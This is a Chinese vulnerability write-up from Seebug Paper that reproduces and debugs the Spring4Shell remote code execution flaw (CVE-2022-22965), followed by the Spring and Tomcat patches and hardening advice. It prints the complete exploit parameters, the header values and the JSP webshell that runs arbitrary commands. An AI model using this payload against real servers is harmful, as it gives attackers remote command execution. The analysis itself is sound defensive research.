/    

分享-Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考

作者:麦兜
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:paper@seebug.org

前言

上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员进一步研究。

一、前置知识

1.1 SpringMVC参数绑定

为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据 Controller方法的参数,自动完成类型转换和赋值。之后,Controller方法就可以直接使用这些参数,避免了需要编写大量的代码从 HttpServletRequest中获取请求数据以及类型转换。下面是一个简单的示例:

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
    @RequestMapping("/addUser")
    public @ResponseBody String addUser(User user) {
        return "OK";
    }
}
public class User {
    private String name;
    private Department department;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Department getDepartment() {
        return department;
    }

    public void setDepartment(Department department) {
        this.department = department;
    }
}
public class Department {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

当请求为 /addUser?name=test&department.name=SEC时,public String addUser(User user)中的 user参数内容如下:

image

可以看到,name自动绑定到了 user参数的 name属性上,department.name自动绑定到了 user参数的 department属性的 name属性上。

注意 department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上 department.name的绑定是Spring通过如下的调用链实现的:

User.getDepartment()
    Department.setName()

假设请求参数名为 foo.bar.baz.qux,对应 Controller方法入参为 Param,则有以下的调用链:

Param.getFoo()
    Foo.getBar()
        Bar.getBaz()
            Baz.setQux() // 注意这里为set

SpringMVC实现参数绑定的主要类和方法是 WebDataBinder.doBind(MutablePropertyValues)

1.2 Java Bean PropertyDescriptor

PropertyDescriptor是JDK自带的 java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。下面是一个简单的例子:

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("foo");

        BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
        PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
        PropertyDescriptor userNameDescriptor = null;
        for (PropertyDescriptor descriptor : descriptors) {
            if (descriptor.getName().equals("name")) {
                userNameDescriptor = descriptor;
                System.out.println("userNameDescriptor: " + userNameDescriptor);
                System.out.println("Before modification: ");
                System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
                userNameDescriptor.getWriteMethod().invoke(user, "bar");
            }
        }
        System.out.println("After modification: ");
        System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
    }
}
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification: 
user.name: foo
After modification: 
user.name: bar

从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。

1.3 Spring BeanWrapperImpl

在Spring中,BeanWrapper接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。

BeanWrapperImpl类是 BeanWrapper接口的默认实现,BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象,BeanWrapperImpl对Bean的属性访问和设置最终调用的是 PropertyDescriptor

import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("foo");
        Department department = new Department();
        department.setName("SEC");
        user.setDepartment(department);

        BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
        userBeanWrapper.setAutoGrowNestedPaths(true);
        System.out.println("userBeanWrapper: " + userBeanWrapper);

        System.out.println("Before modification: ");
        System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
        System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));

        userBeanWrapper.setPropertyValue("name", "bar");
        userBeanWrapper.setPropertyValue("department.name", "IT");

        System.out.println("After modification: ");
        System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
        System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
    }
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification: 
user.name: foo
user.department.name: SEC
After modification: 
user.name: bar
user.department.name: IT

从上述代码和输出结果可以看到,通过 BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用 PropertyDescriptor要简单很多。

1.4 Tomcat AccessLogValveaccess_log

Tomcat的 Valve用于处理请求和响应,通过组合了多个 ValvePipeline,来实现按次序对请求和响应进行一系列的处理。其中 AccessLogValve用来记录访问日志access_log。Tomcat的 server.xml中默认配置了 AccessLogValve,所有部署在Tomcat中的Web应用均会执行该 Valve,内容如下:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t "%r" %s %b" />

下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为 .yyyy-MM-dd

二、漏洞复现

2.1 复现环境

  • 操作系统:Ubuntu 18
  • JDK:11.0.14
  • Tomcat:9.0.60
  • SpringBoot:2.6.3

2.2 复现过程

  1. 创建一个maven项目,pom.xml内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.3</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>CVE-2022-22965</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <packaging>war</packaging>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
            <scope>provided</scope>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>
  1. 项目中添加如下代码,作为SpringBoot的启动类:
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;

@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
    @Override
    protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
        return builder.sources(ApplicationMain.class);
    }

    public static void main(String[] args) {
        SpringApplication.run(ApplicationMain.class, args);
    }
}
  1. 将章节1.1 SpringMVC参数绑定中的User类和UserController类添加到项目中。
  2. 执行maven打包命令,将项目打包为war包,命令如下:
mvn clean package
  1. 将项目中target目录里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war,复制到Tomcat的webapps目录下,并启动Tomcat。
  2. https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件,执行如下命令:
python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser
  1. 浏览器中访问http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,复现漏洞。

image

三、漏洞分析

3.1 POC分析

我们从POC入手进行分析。通过对POC中的 data URL解码后可以拆分成如下5对参数。

3.1.1 pattern参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern
  • 参数值:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:

User.getClass()
    java.lang.Class.getModule()
        ......
            SomeClass.setPattern()

那实际运行过程中的调用链是怎样的呢?SomeClass是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法 WebDataBinder.doBind(MutablePropertyValues)上设置断点。

image

经过一系列的调用逻辑后,我们来到 AbstractNestablePropertyAccessor第814行,getPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身,实现对 class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。

我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。

image

第一轮迭代

进入 getPropertyAccessorForPropertyPath(String)方法前: - thisUserBeanWrapperImpl包装实例 - propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern - nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern - nestedPropertyclass,即本轮迭代需要解析的嵌套参数

image

进入方法,经过一系列的调用逻辑后,最终来到 BeanWrapperImpl第308行,BeanPropertyHandler.getValue()方法中。可以看到 class嵌套参数最终通过反射调用 User的父类 java.lang.Object.getClass(),获得返回 java.lang.Class实例。

image

getPropertyAccessorForPropertyPath(String)方法返回后: - thisUserBeanWrapperImpl包装实例 - propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern - nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern,作为下一轮迭代的 propertyPath - nestedPropertyclass,即本轮迭代需要解析的嵌套参数 - nestedPajava.lang.ClassBeanWrapperImpl包装实例,作为下一轮迭代的 this

image

经过第一轮迭代,我们可以得出第一层调用链:

User.getClass()
    java.lang.Class.get???() // 下一轮迭代实现

第二轮迭代

image

image

module嵌套参数最终通过反射调用 java.lang.Class.getModule(),获得返回 java.lang.Module实例。

经过第二轮迭代,我们可以得出第二层调用链:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.get???() // 下一轮迭代实现

第三轮迭代

image

image

classLoader嵌套参数最终通过反射调用 java.lang.Module.getClassLoader(),获得返回 org.apache.catalina.loader.ParallelWebappClassLoader实例。

经过第三轮迭代,我们可以得出第三层调用链:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现

接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                org.apache.catalina.webresources.StandardRoot.getContext()
                    org.apache.catalina.core.StandardContext.getParent()
                        org.apache.catalina.core.StandardHost.getPipeline()
                            org.apache.catalina.core.StandardPipeline.getFirst()
                                org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到,pattern参数最终对应 AccessLogValve.setPattern(),即将 AccessLogValvepattern属性设置为 %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。

我们再来看 pattern参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅 AccessLogValve的父类 AbstractAccessLogValve的源码,可以找到相关的文档:

即通过 AccessLogValve输出的日志中可以通过形如 %{param}i等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。

结合poc.py中 headers变量内容:

headers = {"suffix":"%>//",
            "c1":"Runtime",
            "c2":"<%",
            "DNT":"1",
            "Content-Type":"application/x-www-form-urlencoded"
}

最终可以得到 AccessLogValve输出的日志实际内容如下(已格式化):

<%
if("j".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
}
%>//

很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。

3.1.2 suffix参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
  • 参数值:.jsp

按照 pattern参数相同的调试方法,suffix参数最终将 AccessLogValve.suffix设置为 .jsp,即access_log的文件名后缀。

3.1.3 directory参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
  • 参数值:webapps/ROOT

按照 pattern参数相同的调试方法,directory参数最终将 AccessLogValve.directory设置为 webapps/ROOT,即access_log的文件输出目录。

这里提下 webapps/ROOT目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过 http://localhost:8080/根目录访问。

3.1.4 prefix参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
  • 参数值:tomcatwar

按照 pattern参数相同的调试方法,prefix参数最终将 AccessLogValve.prefix设置为 tomcatwar,即access_log的文件名前缀。

3.1.5 fileDateFormat参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
  • 参数值:空

按照 pattern参数相同的调试方法,fileDateFormat参数最终将 AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期。

3.1.5 总结

至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在 webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

在SpringMVC参数绑定的实际调用链中,有几个关键点直接影响到了漏洞能否成功利用。

3.2 漏洞利用关键点

3.2.1 关键点一:Web应用部署方式

java.lang.Moduleorg.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用 AccessLogValve输出webshell的关键。

ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下 classLoader嵌套参数被解析为什么,如下图:

image

可以看到,使用SpringBoot可执行jar包的方式运行,classLoader嵌套参数被解析为 org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有 getResources()方法。具体源码请参考文章末尾的参考章节。

这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。

3.2.2 关键点二:JDK版本

在前面章节中 AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。

Spring使用 org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被 BeanWrapperImpl使用的 PropertyDescriptor。在 CachedIntrospectionResults第289行构造方法中:

image

该行的意思是:当Bean的类型为 java.lang.Class时,不返回 classLoaderprotectionDomainPropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据 CachedIntrospectionResults缓存的 PropertyDescriptor进行构建:

不返回,也就意味着 class.classLoader...这种嵌套参数走不通,即形如下方的调用链:

Foo.getClass()
    java.lang.Class.getClassLoader()
        BarClassLoader.getBaz()
            ......

这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在 java.lang.Class中增加了 module属性和对应的 getModule()方法,自然就能通过如下调用链绕过判断:

Foo.getClass()
    java.lang.Class.getModule() // 绕过
        java.lang.Module.getClassLoader()
            BarClassLoader.getBaz()
                ......

这就是为什么本漏洞利用条件之二,JDK>=1.9。

四、补丁分析

4.1 Spring 5.3.18补丁

通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor filter的”提交。

进入该提交,可以看到对 CachedIntrospectionResults构造函数中Java Bean的 PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为 java.lang.Class时,仅允许获取 name以及 Name后缀的属性描述符。在章节 3.2.2 关键点二:JDK版本中,利用 java.lang.Class.getModule()的链路就走不通了。

4.2 Tomcat 9.0.62补丁

通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate getResources() and always return null.”提交。

image

进入该提交,可以看到对 getResource()方法的返回值做了修改,直接返回 nullWebappClassLoaderBaseParallelWebappClassLoader的父类,在章节 3.2.1 关键点一:Web应用部署方式中,利用 org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。

五、思考

通过将代码输出到日志文件,并控制日志文件被解释执行,这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件,并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现,也可以通过SQL注入、文件上传漏洞等曲线实现。

与上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服务中间件自身也是用Java编写和运行的,而部署运行在上面的Java Web应用,实际上是Java Web服务中间件进程的一部分,两者间通过Servlet API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力,给予了攻击者可以通过Java Web应用漏洞进而攻击Java Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞,进而修改了Web服务中间件Tomcat的access_log配置内容,直接输出可执行的“日志”文件到Web 应用目录下。

在日常开发中,应该严格控制Web应用可解释执行目录为只读不可写,日志、上传文件等运行期可以修改的目录应该单独设置,并且不可执行。

本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的 class.module.classLoader....合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。

本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java 8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。

参考